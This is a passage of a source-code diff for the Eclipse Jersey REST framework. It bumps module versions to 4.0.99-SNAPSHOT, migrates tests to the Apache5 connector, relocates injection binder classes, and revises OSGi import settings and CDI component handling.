+++ b/examples/server-async-standalone/client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-client</artifactId>
diff --git a/examples/server-async-standalone/pom.xml b/examples/server-async-standalone/pom.xml
index c9aeb07..c58e539 100644
--- a/examples/server-async-standalone/pom.xml
+++ b/examples/server-async-standalone/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone</artifactId>
diff --git a/examples/server-async-standalone/webapp/pom.xml b/examples/server-async-standalone/webapp/pom.xml
index 63defcf..52a7a3b 100644
--- a/examples/server-async-standalone/webapp/pom.xml
+++ b/examples/server-async-standalone/webapp/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-webapp</artifactId>
diff --git a/examples/server-async/pom.xml b/examples/server-async/pom.xml
index 24c3087..1961b32 100644
--- a/examples/server-async/pom.xml
+++ b/examples/server-async/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async</artifactId>
diff --git a/examples/server-sent-events-jaxrs/pom.xml b/examples/server-sent-events-jaxrs/pom.xml
index cd6b511..686b823 100644
--- a/examples/server-sent-events-jaxrs/pom.xml
+++ b/examples/server-sent-events-jaxrs/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jaxrs</artifactId>
diff --git a/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java b/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
index 78147ff..ea5e80d 100644
--- a/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
+++ b/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -77,7 +77,7 @@
                 domainSink.send(sse.newEventBuilder().name("domain-progress").data(String.class, "done").build());
                 domainSink.close();
 
-            } catch (final InterruptedException e) {
+            } catch (final /*InterruptedException | IO*/Exception e) {
                 e.printStackTrace();
             }
         }).start();
diff --git a/examples/server-sent-events-jersey/pom.xml b/examples/server-sent-events-jersey/pom.xml
index 7b33a28..e323c72 100644
--- a/examples/server-sent-events-jersey/pom.xml
+++ b/examples/server-sent-events-jersey/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jersey</artifactId>
diff --git a/examples/servlet3-webapp/pom.xml b/examples/servlet3-webapp/pom.xml
index 0b0d588..e10b374 100644
--- a/examples/servlet3-webapp/pom.xml
+++ b/examples/servlet3-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet3-webapp</artifactId>
@@ -112,15 +112,6 @@
 
     <profiles>
         <profile>
-            <id>jdk8_tests</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <junit5.version>${junit5.jdk8.version}</junit5.version>
-            </properties>
-        </profile>
-        <profile>
             <id>pre-release</id>
             <build>
                 <plugins>
diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml
index 8482b16..1113726 100644
--- a/examples/simple-console/pom.xml
+++ b/examples/simple-console/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>simple-console</artifactId>
diff --git a/examples/sse-item-store-jaxrs-webapp/pom.xml b/examples/sse-item-store-jaxrs-webapp/pom.xml
index 99f18aa..2b4046c 100644
--- a/examples/sse-item-store-jaxrs-webapp/pom.xml
+++ b/examples/sse-item-store-jaxrs-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jaxrs-webapp</artifactId>
@@ -46,7 +46,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
diff --git a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
index f67cc65..3a17298 100644
--- a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
+++ b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -36,15 +36,15 @@
 import jakarta.ws.rs.core.UriBuilder;
 import jakarta.ws.rs.sse.SseEventSource;
 
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
 
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.Test;
 
@@ -85,9 +85,9 @@
         cm.setMaxTotal(MAX_LISTENERS * MAX_ITEMS);
         cm.setDefaultMaxPerRoute(MAX_LISTENERS * MAX_ITEMS);
 
-        config.property(ApacheClientProperties.CONNECTION_MANAGER, cm)
+        config.property(Apache5ClientProperties.CONNECTION_MANAGER, cm)
                 .property(ClientProperties.READ_TIMEOUT, 2000)
-                .connectorProvider(new ApacheConnectorProvider());
+                .connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Override
diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml
index 7c99e82..817528a 100644
--- a/examples/sse-item-store-jersey-webapp/pom.xml
+++ b/examples/sse-item-store-jersey-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jersey-webapp</artifactId>
@@ -46,7 +46,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
diff --git a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
index f29123a..c9ae9fb 100644
--- a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
+++ b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -30,8 +30,8 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.core.UriBuilder;
 
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.media.sse.EventSource;
@@ -39,7 +39,7 @@
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
 
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
 import org.junit.jupiter.api.Test;
 
 import static org.hamcrest.CoreMatchers.containsString;
@@ -77,9 +77,9 @@
         cm.setDefaultMaxPerRoute(MAX_LISTENERS * MAX_ITEMS);
 
         config.register(SseFeature.class)
-                .property(ApacheClientProperties.CONNECTION_MANAGER, cm)
+                .property(Apache5ClientProperties.CONNECTION_MANAGER, cm)
                 .property(ClientProperties.READ_TIMEOUT, 2000)
-                .connectorProvider(new ApacheConnectorProvider());
+                .connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Override
diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml
index 60c4f26..092058e 100644
--- a/examples/sse-twitter-aggregator/pom.xml
+++ b/examples/sse-twitter-aggregator/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-twitter-aggregator</artifactId>
diff --git a/examples/system-properties-example/pom.xml b/examples/system-properties-example/pom.xml
index e34f979..0a9ddcb 100644
--- a/examples/system-properties-example/pom.xml
+++ b/examples/system-properties-example/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>system-properties-example</artifactId>
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml
index 7d67f0c..8fcd69a 100644
--- a/examples/webapp-example-parent/pom.xml
+++ b/examples/webapp-example-parent/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>webapp-example-parent</artifactId>
diff --git a/examples/xml-moxy/pom.xml b/examples/xml-moxy/pom.xml
index 87161dc..7cea2cf 100644
--- a/examples/xml-moxy/pom.xml
+++ b/examples/xml-moxy/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-moxy</artifactId>
diff --git a/ext/bean-validation/pom.xml b/ext/bean-validation/pom.xml
index 3247430..72e78c1 100644
--- a/ext/bean-validation/pom.xml
+++ b/ext/bean-validation/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-bean-validation</artifactId>
@@ -58,8 +58,13 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
+                            <!--
+                            Not working with xxx-M1
                             jakarta.validation.*;resolution:=optional;version="${range;[==,4);${jakarta.validation.api.version}}",
-                            jakarta.decorator.*;version="[3.0,5)",
+                            -->
+                            jakarta.validation.*;resolution:=optional;version="!",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -90,6 +95,24 @@
             <artifactId>jakarta.validation-api</artifactId>
         </dependency>
         <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.enterprise</groupId>
+            <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.ext.cdi</groupId>
+            <artifactId>jersey-cdi1x</artifactId>
+            <version>${project.version}</version>
+            <optional>true</optional>
+        </dependency>
+
+<!--              Runtime dependencies to be used       -->
+        <dependency>
             <groupId>org.hibernate.validator</groupId>
             <artifactId>hibernate-validator</artifactId>
             <exclusions>
@@ -112,31 +135,7 @@
             <artifactId>jboss-logging</artifactId>
             <version>${jboss.logging.version}</version>
         </dependency>
-        <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.enterprise</groupId>
-            <artifactId>jakarta.enterprise.cdi-api</artifactId>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.ext.cdi</groupId>
-            <artifactId>jersey-cdi1x</artifactId>
-            <version>${project.version}</version>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.inject</groupId>
-            <artifactId>jersey-hk2</artifactId>
-            <version>${project.version}</version>
-            <optional>true</optional>
-        </dependency>
-
-
-        <!-- jakarta-el related dependencies are in scope "provided" in hibernate-validator -->
+        <!-- java-el related dependencies are in scope "provided" in hibernate-validator -->
         <dependency>
             <groupId>jakarta.el</groupId>
             <artifactId>jakarta.el-api</artifactId>
diff --git a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
index 487786d..4c28742 100644
--- a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
+++ b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -45,8 +45,8 @@
 import jakarta.validation.ValidatorFactory;
 import jakarta.validation.spi.ValidationProvider;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -62,7 +62,7 @@
  *
  * @author Michal Gajdos
  */
-public final class ValidationBinder extends AbstractBinder {
+public final class ValidationBinder extends InternalBinder {
 
     private static final Logger LOGGER = Logger.getLogger(ValidationBinder.class.getName());
 
diff --git a/ext/cdi/jersey-cdi-rs-inject/pom.xml b/ext/cdi/jersey-cdi-rs-inject/pom.xml
index bc1f50d..5ed8b63 100644
--- a/ext/cdi/jersey-cdi-rs-inject/pom.xml
+++ b/ext/cdi/jersey-cdi-rs-inject/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -88,7 +88,9 @@
                     <instructions>
                         <Import-Package>
                             ${cdi.osgi.version},
+                            ${jakarta.decorator.osgi.version},
                             jakarta.servlet.*;version="[6.0, 7.0)";resolution:=optional,
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
index d1b474f..5e11245 100644
--- a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
+++ b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-ban-custom-hk2-binding</artifactId>
diff --git a/ext/cdi/jersey-cdi1x-servlet/pom.xml b/ext/cdi/jersey-cdi1x-servlet/pom.xml
index 24a1d19..0532887 100644
--- a/ext/cdi/jersey-cdi1x-servlet/pom.xml
+++ b/ext/cdi/jersey-cdi1x-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-servlet</artifactId>
@@ -93,7 +93,7 @@
                         <Export-Package>org.glassfish.jersey.ext.cdi1x.servlet.internal</Export-Package>
                         <Import-Package>
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-transaction/pom.xml b/ext/cdi/jersey-cdi1x-transaction/pom.xml
index eca2aef..82998f0 100644
--- a/ext/cdi/jersey-cdi1x-transaction/pom.xml
+++ b/ext/cdi/jersey-cdi1x-transaction/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-transaction</artifactId>
@@ -37,7 +37,7 @@
         <dependency>
             <groupId>jakarta.platform</groupId>
             <artifactId>jakarta.jakartaee-api</artifactId>
-            <version>9.1.0</version>
+            <version>10.0.0</version>
             <scope>provided</scope>
         </dependency>
 
@@ -126,7 +126,8 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java b/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
index 1f950aa..3149887 100644
--- a/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
+++ b/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,8 +41,8 @@
 
 import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil;
 import org.glassfish.jersey.ext.cdi1x.internal.GenericCdiBeanSupplier;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.spi.ComponentProvider;
 
diff --git a/ext/cdi/jersey-cdi1x-validation/pom.xml b/ext/cdi/jersey-cdi1x-validation/pom.xml
index b6949f2..0e093d7 100644
--- a/ext/cdi/jersey-cdi1x-validation/pom.xml
+++ b/ext/cdi/jersey-cdi1x-validation/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-validation</artifactId>
@@ -113,7 +113,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x/pom.xml b/ext/cdi/jersey-cdi1x/pom.xml
index 02912a9..acd12e6 100644
--- a/ext/cdi/jersey-cdi1x/pom.xml
+++ b/ext/cdi/jersey-cdi1x/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x</artifactId>
@@ -95,7 +95,8 @@
                             ${jakarta.annotation.osgi.version},
                             ${hk2.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
index a47aced..4984a34 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -45,7 +45,6 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.core.Application;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.RequestScoped;
 import jakarta.enterprise.context.spi.CreationalContext;
@@ -71,15 +70,15 @@
 import org.glassfish.jersey.ext.cdi1x.internal.spi.InjectionManagerStore;
 import org.glassfish.jersey.ext.cdi1x.internal.spi.InjectionTargetListener;
 import org.glassfish.jersey.ext.cdi1x.spi.Hk2CustomBoundTypesProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.ForeignRequestScopeBridge;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.Cache;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.spi.ComponentProvider;
@@ -142,6 +141,8 @@
     private volatile Map<Class<?>, Set<Method>> methodsToSkip = new HashMap<>();
     private volatile Map<Class<?>, Set<Field>> fieldsToSkip = new HashMap<>();
 
+    private volatile boolean isHk2Environment;
+
     private boolean initialized = false;
 
     public CdiComponentProvider() {
@@ -154,6 +155,7 @@
     public void initialize(final InjectionManager injectionManager) {
         this.injectionManager = injectionManager;
         this.beanManager = CdiUtil.getBeanManager();
+        this.isHk2Environment = injectionManager.getClass().getPackageName().contains("hk2");
 
         if (beanManager != null && !injectionManager.getClass().getSimpleName().equals("NonInjectionManager")) {
             // Try to get CdiComponentProvider created by CDI.
@@ -165,7 +167,9 @@
                 this.fieldsToSkip = extension.getFieldsToSkip();
                 this.methodsToSkip = extension.getMethodsToSkip();
 
-                bindHk2ClassAnalyzer();
+                if (isHk2Environment) {
+                    bindHk2ClassAnalyzer();
+                }
 
                 LOGGER.config(LocalizationMessages.CDI_PROVIDER_INITIALIZED());
                 initialized = true;
@@ -175,11 +179,14 @@
 
     @Override
     public boolean bind(final Class<?> clazz, final Set<Class<?>> providerContracts) {
-        return initialized && bind(clazz, providerContracts, ContractProvider.NO_PRIORITY);
+        return isHk2Environment && initialized && bind(clazz, providerContracts, ContractProvider.NO_PRIORITY);
     }
 
     @Override
     public boolean bind(Class<?> component, ContractProvider contractProvider) {
+        if (!isHk2Environment) {
+            return false;
+        }
         return initialized && contractProvider != null
                 ? bind(component, contractProvider.getContracts(), contractProvider.getPriority(component))
                 : bind(component, Collections.EMPTY_SET);
@@ -203,10 +210,9 @@
         }
 
         final boolean isCdiManaged = isCdiComponent(clazz);
-        final boolean isManagedBean = isManagedBean(clazz);
         final boolean isJaxRsComponent = isJaxRsComponentType(clazz);
 
-        if (!isCdiManaged && !isManagedBean && !isJaxRsComponent) {
+        if (!isCdiManaged && !isJaxRsComponent) {
             return false;
         }
 
@@ -272,10 +278,6 @@
         return !beanManager.getBeans(component, qualifiers).isEmpty();
     }
 
-    private boolean isManagedBean(final Class<?> component) {
-        return component.isAnnotationPresent(ManagedBean.class);
-    }
-
     private AnnotatedConstructor<?> enrichedConstructor(final AnnotatedConstructor<?> ctor) {
         return new AnnotatedConstructor() {
 
@@ -633,7 +635,7 @@
         ClassAnalyzer customizedClassAnalyzer =
                 new InjecteeSkippingAnalyzer(defaultClassAnalyzer, methodsToSkip, fieldsToSkip, beanManager);
 
-        Binder binder = new AbstractBinder() {
+        Binder binder = new InternalBinder() {
             @Override
             protected void configure() {
                 bind(customizedClassAnalyzer)
diff --git a/ext/cdi/jersey-weld2-se/pom.xml b/ext/cdi/jersey-weld2-se/pom.xml
index 2e68812..86c9ad3 100644
--- a/ext/cdi/jersey-weld2-se/pom.xml
+++ b/ext/cdi/jersey-weld2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-weld2-se</artifactId>
@@ -105,5 +105,24 @@
                 <directory>${project.build.directory}/legal</directory>
             </resource>
         </resources>
+
+        <plugins>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <extensions>true</extensions>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${cdi.osgi.version},
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
      </build>
 </project>
diff --git a/ext/cdi/pom.xml b/ext/cdi/pom.xml
index 129a0d4..0b2bff6 100644
--- a/ext/cdi/pom.xml
+++ b/ext/cdi/pom.xml
@@ -23,7 +23,7 @@
     <parent>
